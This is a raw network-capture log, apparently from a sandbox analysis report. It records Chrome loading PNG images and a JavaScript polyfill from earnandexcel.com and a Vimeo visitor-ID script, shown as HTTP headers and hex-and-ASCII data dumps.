2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 07 67 6e a2 28 3b 29 b1 9b fa 1d c7 42 f1 0f ec e0 52 b6 08 da a1 e0 d0 8c 11 5c f4 57 b2 43 d7 ed 2d f3 6d 74 8e 86 b1 27 94 6e 56 45 e1 2a cb 23 e6 84 2e c1 ba c6 75 29 69 c1 93 46 23 39 39 11 30 25 e6 c2 80 7a bc 11 d5 a5 35 d3 8c 33 52 50 42 58 c1 25 2d 88 0c 72 e3 d3 4e 5a 53 68 99 3f a2 e4 7b 86 f9 8a ee 28 31 34 af 2b 2c b2 62 01 e6 20 9c 75 91 05 a7 1f 60 a1 b3 4f 53 ea fb 47 6e ff d2 bb c0 04 63 46 cf 33 02 25 32 d0 00 de 25 02 19 c3 0c fb 7f 46 ac 81 6f e4 1c 5d 54 96 4b 33 ee 6e be cf 11 c5 c9 6e 28 bc e3 b2 e4 cf 99 0f 6f 0b 0d 84 cc b0 ad e6 d1 77 6d 6d 5e 25 85 29 71 37 f4 20 25 26 54 11 99 35 4b 22 97 6e 1c 83 28 e1 37 91 ed a6 6a ef 00 91 3d df 42 02 5b 4d 27 d1 57 17 32 1c cb 7a e3 57 08 79 d5 95 70 8d 12 0f c9 61 7d 58 68 03 01 22 fb cb Data Ascii: gn(;)BR\WC-mt'nVE*#.u)iF#990%z53RPBX%-rNZSh?{(14+,b u`OSGncF3%2%Fo]TK3nn(owmm^%)q7 %&T5K"n(7j=B[M'W2zWypa}Xh"
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 36 7a 41 66 b8 35 8c 04 8a 71 99 09 1d 2d 88 63 3d f4 ff 5a 60 be ab e3 29 80 97 4a 15 04 99 69 4d 09 e3 42 16 84 15 45 c1 ee a2 c3 2e a3 2e 98 53 57 5c 11 28 d2 82 5b 5a 10 35 13 b4 a0 bc ac 83 71 6c ae f4 87 84 ed 12 a2 c4 d3 ca 71 a7 52 62 c6 6a df fb e1 61 bb a9 6b 19 bf 27 32 06 a6 22 a4 a5 5a e0 69 56 02 f3 7a de d3 d6 8f b3 6b 59 46 41 6b be 19 42 bc 98 fa 8b 95 9c cb 93 12 6f 55 b0 50 2c 36 8d 12 27 2e 48 89 07 38 ee fb 19 25 3e 72 cf 34 0c c3 b4 fc 85 91 58 11 59 80 79 f5 59 4a 62 2f 55 4a ec ad 72 e0 75 ec 6f 55 9c 9d e8 f1 a4 c4 5a 94 b0 80 b3 23 32 1c c2 41 09 35 15 c1 68 3b 89 19 97 27 e2 7a 4b 45 e8 54 55 e5 8c ff e2 c7 e6 d9 54 43 8a 62 b3 10 e0 d7 3f 0c 45 ab f6 41 67 80 c8 1a a9 4a 89 9d 86 b1 26 bd 6d fe 86 13 e6 6e 1e da 77 11 8a 15 3d Data Ascii: 6zAf5q-c=Z`)JiMBE..SW\([Z5qlqRbjak'2"ZiVzkYFAkBoUP,6'.H8%>r4XYyYJb/UJruoUZ#2A5h;'zKETUTCb?EAgJ&mnw=
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 20 33 8c 18 dc df ab 25 46 8a e1 b5 fc eb 70 ed 15 e3 22 f1 e2 bf 8f c8 69 cb ef 53 ea a4 05 8b 6c e8 9f e8 f2 95 c1 94 58 60 57 0b a2 d6 e7 1a 2d 68 12 35 4d 9d 50 a2 a5 1c e7 94 f8 36 c8 f5 23 50 64 3d d7 d6 0d f2 f6 fd d3 28 a1 b4 61 13 5d ab 94 b8 c4 b2 f1 dd 30 cc 8f 93 12 67 63 fb 5b 94 38 87 b3 04 a7 ec b5 41 ca 6f 07 1c f3 f9 93 d5 88 75 80 e7 b9 55 3c 56 a9 65 9b a6 1d 56 57 46 02 65 bd 57 ac 58 2d d0 78 c0 87 cb f9 52 dd e7 bb fc cc 30 30 bc 59 e0 28 54 7e 8c 92 ba fd 84 aa e5 3a c0 73 3b 4e a8 28 13 41 31 66 0c 13 3d 3a ec 08 98 12 1b 0b f1 c0 79 4f 48 aa 3a 57 47 23 0b 76 cb e3 09 e2 a6 a4 44 8c 8e 2a 32 a6 dc 89 a7 44 87 f9 ff a3 c4 a9 83 7e ec 51 61 f8 9b 94 d8 e1 d2 86 11 44 63 2a 95 37 02 cb a0 cd c3 5b be 4b 93 05 77 f9 2e f3 eb f8 49 8f Data Ascii: 3%Fp"iSlX`W-h5MP6#Pd=(a]0gc[8AouU<VeVWFeWX-xR00Y(T~:s;N(A1f=:yOH:WG#vD2D~QaDc7[Kw.I
2024-04-11 21:26:41 UTC	669	IN	Data Raw: 83 d3 a5 d3 45 16 1e 73 56 67 5f ba c4 1a 6d e2 f4 a2 6f 94 d8 3d e6 71 de 75 80 d7 5e 32 58 f7 b4 7c 40 89 17 5b e3 5c b7 5b 11 82 f8 0b 46 64 a7 05 48 89 ab d7 ed c1 d6 5c 03 94 d8 4f 06 55 64 ad c4 cb 6e 7e d5 78 44 c3 6a 7c 21 4b d0 5a 34 6a e2 f8 d1 b9 44 31 a1 37 4a 5c b0 64 55 45 26 87 f9 eb 0e 9e 47 c5 83 50 34 9e 00 21 bb d1 70 55 a8 d1 9e 60 de ec 96 69 9a 56 5a c5 41 7c 97 c8 b3 9f bc e2 cb cd 2c e0 53 73 4e 85 a7 21 88 93 12 77 f3 d1 5b ce 9b 89 ee 94 37 da 28 9b 2d d0 78 1c 2f df d0 d0 04 5f 67 aa 7a 1b c8 cd 0a c2 cb 2c bb e5 f1 10 46 85 56 6a 63 5e 87 11 3d 3a 64 7c 7b d3 0b d5 fa 58 0e 99 a5 5d 67 da b5 ce fb a7 33 e3 e7 fe 74 0c 8b 6c 61 e1 b7 f7 d7 3a 22 4e fe d7 a8 58 b2 26 4a 98 5e 0d e9 32 e6 9b 20 25 7e 28 32 e7 9b 3b 6c cc 12 8b b1 Data Ascii: EsVg_mo=qu^2X\|@[\[FdH\OUdn~xDj\|!KZ4jD17J\dUE&GP4!pU`iVZA\|,SsN!w[7(-x/_gz,FVjc^=:d\|{X]g3tla:"NX&J^2 %~(2;l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	49786	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	552	OUT	GET /wp-content/uploads/counter-media-01.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	906	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: image/png Content-Length: 1493 Connection: close CF-Ray: 872e0e6bafa20f65-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330f-5d5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:55 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Or5%2FLpIzvqEys6WSQrhUb5o0xu2BVFrFNmLce4NhY9AFBBAQC%2FRjdt17%2BCy77bF9KwVIp%2B7JUpEMzM8p6REQWBaBUqMA9qmXWXXpRKB3nBMhuXYUj28Brz%2Bng86n4OVcrC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	463	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2a 00 00 00 30 08 06 00 00 00 67 8e e8 a6 00 00 05 9c 49 44 41 54 78 da d5 99 5d 88 54 65 18 c7 4f df 94 19 54 98 3a ee 78 ce ea da 5e 6c 08 a5 88 7d 5c 48 17 82 65 51 e6 d6 cc f9 18 6d d7 8f c2 30 11 8b a0 0f b7 c8 22 14 41 5d 48 d7 24 c3 ae c2 82 2c a2 40 42 89 ac a8 6e fa 70 95 ae 8a 08 b3 2e 4a c5 ac a4 7f cf 6f ce 59 76 19 d7 39 33 3b 67 a7 ed 85 3f f3 cc fb 3e cf ff f9 cf 79 3f 9e 73 ce 38 59 37 37 d4 d3 ae af a7 9c b1 de dc 40 5f 02 67 ac 37 13 f9 09 70 c6 7a fb 3f 09 6d f2 d4 f7 e8 c2 91 84 79 91 0a a0 49 39 75 81 eb 6b af 1b 69 d7 ac 15 ba c4 19 e5 46 0e 9b 85 5d e4 24 77 5d 42 bd 40 cf b6 76 49 53 03 bd 0a 51 2d c9 5a 8b 9a d8 12 aa 0d 60 d7 1a 67 39 76 93 8b 9c 23 5b 6f be 9e 4b 08 76 e7 Data Ascii: PNGIHDR*0gIDATx]TeOT:x^l}\HeQm0"A]H$,@Bnp.JoYv93;g?>y?s8Y77@_g7pz?myI9ukiF]$w]B@vISQ-Z`g9v#[oKv
2024-04-11 21:26:41 UTC	1030	IN	Data Raw: 07 ac 2f a6 ae 86 2b 36 19 a4 f9 c1 65 9c 6c d2 c5 99 88 6c e9 d4 e5 26 f4 a8 11 f7 63 57 f5 ed d6 35 e6 f7 2d c0 4e 5b b3 5e a8 23 5e a0 af da 16 e8 b2 c6 af 26 6b 8a e3 29 d4 ca d4 6a 16 ea 75 9b 52 01 ec b4 2a 03 27 dc 6e 51 b7 67 31 ed 3b 2d e9 69 a6 33 65 2a 57 0d 2c 0f 80 4d 5f da 32 81 db 0b b4 a5 e1 4d 94 4c e5 c7 d5 dc d8 bd e6 73 d2 12 be 3f d0 87 4d 1f 63 29 3f f0 90 e1 8b da 6a 3c d5 a2 27 c6 d0 80 29 25 5d eb 85 3a 61 44 7d 55 ab 57 41 9e 09 fb 6b aa af 43 f9 a2 b6 03 6c fa 18 4b b9 aa 3b 8d ff 97 09 9d ba 72 e8 32 1a d4 63 a0 25 87 70 3f 9b 05 98 7d d8 12 ac 29 0b 0d d4 62 7d 1c 23 1b aa 16 02 5f ae 09 3b 79 fd 32 69 e6 aa 18 d8 f4 31 56 25 94 32 fa 82 f1 9f f1 3a 35 89 ef e4 46 c3 10 3d fd 68 74 dc 48 dd f6 e5 3d 37 88 91 d8 7e 39 68 a9 26 Data Ascii: /+6ell&cW5-N[^#^&k)juR'nQg1;-i3eW,M_2MLs?Mc)?j<')%]:aD}UWAkClK;r2c%p?})b}#_;y2i1V%2:5F=htH=7~9h&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.17	49785	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	552	OUT	GET /wp-content/uploads/counter-media-02.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: image/png Content-Length: 1489 Connection: close CF-Ray: 872e0e6bbb694381-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ed-5d1" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VkVzlu%2BSsaPITQLjOaHDaIWaEbg%2BXXjvelPUAlL8aC3Png9QmZN9PJUl6ooE5iwigmMrZcr9o1HuUSy1Ab%2F0PkvTVZKXNkPmwF7FcUzsD5cLpMAPGSyEwrzwbjneDptOAis%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	467	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 27 00 00 00 30 08 06 00 00 00 92 70 63 16 00 00 05 98 49 44 41 54 78 da ed 99 fb 6f 14 55 14 c7 7d c7 df 48 30 a8 74 77 db d9 5a 1e b6 60 d1 82 15 68 fa 42 30 6a 14 8d 69 77 77 76 67 fb a2 6f 20 05 5a 5a 5a fb 40 49 17 c5 10 22 14 10 5b f0 07 b1 d2 16 ea a3 60 31 24 22 45 fd 0b 8c d1 a0 fe a0 89 60 34 24 8d 09 e1 d5 af df e3 65 b2 4a ed 63 3b 33 a9 1a 27 f9 e6 ee cc dc 9d fb b9 e7 9c 7b ce 3c 6e f9 7f b3 bc e5 e1 76 c7 34 d5 cd 15 c6 3d 09 41 9c d2 0c 7c cd f6 5b db 65 e0 cb 84 10 76 a7 95 e1 ce a9 c0 cd e5 45 c0 0b f4 53 3b 1c d0 39 ad 10 88 d7 71 28 66 40 b7 8e 39 84 bb 1e 1f c4 0a 27 a2 25 41 47 77 72 39 90 54 02 78 4c c0 58 e1 38 c3 a7 9d 80 73 e5 a3 37 bb 09 28 dc 07 78 0b a3 80 ff 18 b8 cc 46 Data Ascii: PNGIHDR'0pcIDATxoU}H0twZ`hB0jiwwvgo ZZZ@I"[`1$"E`4$eJc;3'{<nv4=A\|[evES;9q(f@9'%AGwr9TxLX8s7(xF
2024-04-11 21:26:41 UTC	1022	IN	Data Raw: f2 70 97 35 cb 49 5e 0a e3 37 77 c0 5e 25 18 54 08 dd 96 e0 5c 7e 1c 59 bc 01 28 ed 04 d6 1c b0 47 e5 9d 80 2c 32 a6 95 33 96 e1 24 88 4b 78 d1 e2 fd f6 a8 f4 4d 60 d9 66 c0 6d 15 8e ed 0e ba 75 d8 15 b0 51 3e 0c 27 18 94 8e b7 ad 2d 88 36 dc 26 65 c6 09 c9 62 b3 96 e7 02 58 c9 59 be e6 f2 d9 2b b9 26 c7 78 c1 2a 5c ef bc 0a 60 c9 46 80 0b c3 16 f1 5a 4c c2 ff f9 f2 e5 9c e5 ac 97 2f d6 d6 c7 a7 14 73 7e ec 64 bb 6b 2c c5 87 b0 cb 2c 5f f1 05 48 11 38 4f 10 4b 62 82 93 87 60 59 59 f2 3c 1b 8b 26 f3 f0 4c 4b 25 7b 74 34 b2 d6 0e 32 e7 81 13 3a c5 fd 66 81 9c 9c e5 82 2c d0 05 b8 c4 63 13 e9 32 75 45 a4 85 d9 ea e8 1b d3 00 21 24 11 a2 87 ba 9c 52 a9 aa 45 4e 23 90 c1 76 41 15 c0 e3 57 a9 7e 2d 80 f9 13 c1 25 6b 06 2a e8 82 ca f1 c4 ff e8 74 55 be c8 5b 80 Data Ascii: p5I^7w^%T\~Y(G,23$KxM`fmuQ>'-6&ebXY+&x\`FZL/s~dk,,_H8OKb`YY<&LK%{t42:f,c2uE!$REN#vAW~-%ktU[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.17	49788	199.232.38.109	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	546	OUT	GET /js_opt/modules/utils/vuid.min.js HTTP/1.1 Host: f.vimeocdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://player.vimeo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:41 UTC	450	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1862 Content-Type: application/javascript Cache-Control: public, max-age=2592000 Timing-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1832641 Date: Thu, 11 Apr 2024 21:26:41 GMT X-Served-By: cache-iad-kiad7000106-IAD, cache-lga21976-LGA X-Cache: HIT, HIT X-Cache-Hits: 359, 0 X-Timer: S1712870801.234420,VS0,VE1 Vary: Accept-Encoding,x-http-method-override
2024-04-11 21:26:41 UTC	1371	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 66 61 6c 73 65 2c 6e 2c 6f 2c 69 2c 72 3d 74 79 70 65 6f 66 20 74 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 2c 75 3d 22 68 74 74 70 73 3a 2f 2f 76 69 6d 65 6f 2e 63 6f 6d 2f 61 62 6c 69 6e 63 6f 6c 6e 2f 76 75 69 64 22 2c 61 3b 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 72 65 74 75 72 6e 20 32 31 34 37 34 38 33 36 34 37 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 65 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3d 3d 3d 30 29 7b 65 3d 30 3b 74 3d 66 28 29 7d 72 65 74 75 72 6e 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 74 2d 65 2b 31 29 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 64 28 74 29 7b 76 Data Ascii: (function(t){var e=false,n,o,i,r=typeof t.navigator.sendBeacon==="function",u="https://vimeo.com/ablincoln/vuid",a;function f(){return 2147483647}function c(t,e){if(arguments.length===0){e=0;t=f()}return Math.floor(Math.random()*(t-e+1))+e}function d(t){v
2024-04-11 21:26:41 UTC	491	IN	Data Raw: 2b 22 2e 22 2b 28 28 67 28 29 5e 6c 28 74 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 29 2e 74 6f 53 74 72 69 6e 67 28 29 26 32 31 34 37 34 38 33 36 34 37 29 3b 65 3d 74 72 75 65 7d 6f 3d 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 6f 2e 6c 65 6e 67 74 68 3e 32 29 7b 6f 2e 73 68 69 66 74 28 29 7d 73 28 22 76 75 69 64 22 2c 6e 2e 63 6f 6f 6b 69 65 2c 33 36 35 2a 32 2c 22 2f 22 2c 22 2e 22 2b 6f 2e 6a 6f 69 6e 28 22 2e 22 29 2c 74 72 75 65 2c 22 4e 6f 6e 65 22 29 3b 69 66 28 65 26 26 73 28 22 76 75 69 64 22 29 29 7b 69 66 28 74 79 70 65 6f 66 20 74 2e 5f 76 75 69 64 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 74 2e 5f 76 75 69 64 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 61 3d 30 3b 61 3c Data Ascii: +"."+((g()^l(t.navigator.userAgent)).toString()&2147483647);e=true}o=t.location.hostname.split(".");if(o.length>2){o.shift()}s("vuid",n.cookie,365*2,"/","."+o.join("."),true,"None");if(e&&s("vuid")){if(typeof t._vuid==="object"&&t._vuid.length){for(a=0;a<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.17	49789	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	765	OUT	GET /wp-content/themes/edumall/assets/libs/polyfill/intersection-observer.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	944	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e6c8f4a32d3-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-22fd" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eIyO57lCOoJFI1mYWSjoQBGz%2FLWLFYclQnnVIv4Aw%2FYyD%2BwSoMHv3HnGtXKX3xJKmlTY6Y63%2BxBKMAeHpSBJFIwUJfk3igXzwxUs72OxtSRRyxJoBK%2BSTg86wTLi1IGB1BQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	425	IN	Data Raw: 32 32 66 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 29 69 66 28 22 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 22 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 22 69 6e 20 77 69 6e 64 6f 77 26 26 22 69 6e 74 65 72 73 65 63 74 69 6f 6e 52 61 74 69 6f 22 69 6e 20 77 69 6e 64 6f 77 2e 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 79 70 65 29 22 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 22 69 6e 20 77 69 6e 64 6f 77 2e 49 6e 74 65 72 73 65 63 74 69 6f 6e 4f 62 73 65 72 76 65 72 45 6e 74 72 79 2e 70 72 6f 74 6f 74 Data Ascii: 22fd!function(){"use strict";if("object"==typeof window)if("IntersectionObserver"in window&&"IntersectionObserverEntry"in window&&"intersectionRatio"in window.IntersectionObserverEntry.prototype)"isIntersecting"in window.IntersectionObserverEntry.protot
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 6f 3d 69 28 65 29 3b 6f 3b 29 6f 3d 69 28 65 3d 6f 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3b 72 65 74 75 72 6e 20 65 7d 28 29 2c 65 3d 5b 5d 2c 6f 3d 6e 75 6c 6c 2c 6e 3d 6e 75 6c 6c 3b 73 2e 70 72 6f 74 6f 74 79 70 65 2e 54 48 52 4f 54 54 4c 45 5f 54 49 4d 45 4f 55 54 3d 31 30 30 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 50 4f 4c 4c 5f 49 4e 54 45 52 56 41 4c 3d 6e 75 6c 6c 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 55 53 45 5f 4d 55 54 41 54 49 4f 4e 5f 4f 42 53 45 52 56 45 52 3d 21 30 2c 73 2e 5f 73 65 74 75 70 43 72 6f 73 73 4f 72 69 67 69 6e 55 70 64 61 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7c 7c 28 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 6e 3d 74 26 26 6f 3f 6c Data Ascii: =window.document,o=i(e);o;)o=i(e=o.ownerDocument);return e}(),e=[],o=null,n=null;s.prototype.THROTTLE_TIMEOUT=100,s.prototype.POLL_INTERVAL=null,s.prototype.USE_MUTATION_OBSERVER=!0,s._setupCrossOriginUpdater=function(){return o\|\|(o=function(t,o){n=t&&o?l
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 65 77 20 45 72 72 6f 72 28 22 74 68 72 65 73 68 6f 6c 64 20 6d 75 73 74 20 62 65 20 61 20 6e 75 6d 62 65 72 20 62 65 74 77 65 65 6e 20 30 20 61 6e 64 20 31 20 69 6e 63 6c 75 73 69 76 65 6c 79 22 29 3b 72 65 74 75 72 6e 20 74 21 3d 3d 6f 5b 65 2d 31 5d 7d 29 7d 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 70 61 72 73 65 52 6f 6f 74 4d 61 72 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 28 74 7c 7c 22 30 70 78 22 29 2e 73 70 6c 69 74 28 2f 5c 73 2b 2f 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 2f 5e 28 2d 3f 5c 64 2a 5c 2e 3f 5c 64 2b 29 28 70 78 7c 25 29 24 2f 2e 65 78 65 63 28 74 29 3b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 72 6f 6f 74 4d 61 72 67 69 6e 20 6d 75 73 74 20 62 65 20 Data Ascii: ew Error("threshold must be a number between 0 and 1 inclusively");return t!==o[e-1]})},s.prototype._parseRootMargin=function(t){var e=(t\|\|"0px").split(/\s+/).map(function(t){var e=/^(-?\d*\.?\d+)(px\|%)$/.exec(t);if(!e)throw new Error("rootMargin must be
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 21 3d 6e 3b 29 7b 76 61 72 20 72 3d 69 28 6f 29 3b 69 66 28 28 6f 3d 72 26 26 72 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3d 3d 65 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 29 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 6d 6f 6e 69 74 6f 72 69 6e 67 55 6e 73 75 62 73 63 72 69 62 65 73 5b 6f 5d 3b 69 66 28 74 68 69 73 2e 5f 6d 6f 6e 69 74 6f 72 69 6e 67 44 6f 63 75 6d 65 6e 74 73 2e 73 70 6c 69 63 65 28 6f 2c 31 29 2c 74 68 69 73 2e 5f 6d 6f 6e 69 74 6f 72 69 6e 67 55 6e 73 75 62 73 63 72 69 62 65 73 2e 73 70 6c 69 63 65 28 6f 2c 31 29 2c 72 28 29 2c 65 21 3d 6e 29 7b 76 61 72 20 73 3d 69 28 65 29 3b 73 26 26 74 68 69 73 2e 5f 75 6e 6d 6f 6e 69 74 6f 72 49 6e 74 65 72 73 65 63 74 69 6f 6e 73 28 73 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 Data Ascii: !=n;){var r=i(o);if((o=r&&r.ownerDocument)==e)return!0}return!1})){var r=this._monitoringUnsubscribes[o];if(this._monitoringDocuments.splice(o,1),this._monitoringUnsubscribes.splice(o,1),r(),e!=n){var s=i(e);s&&this._unmonitorIntersections(s.ownerDocument
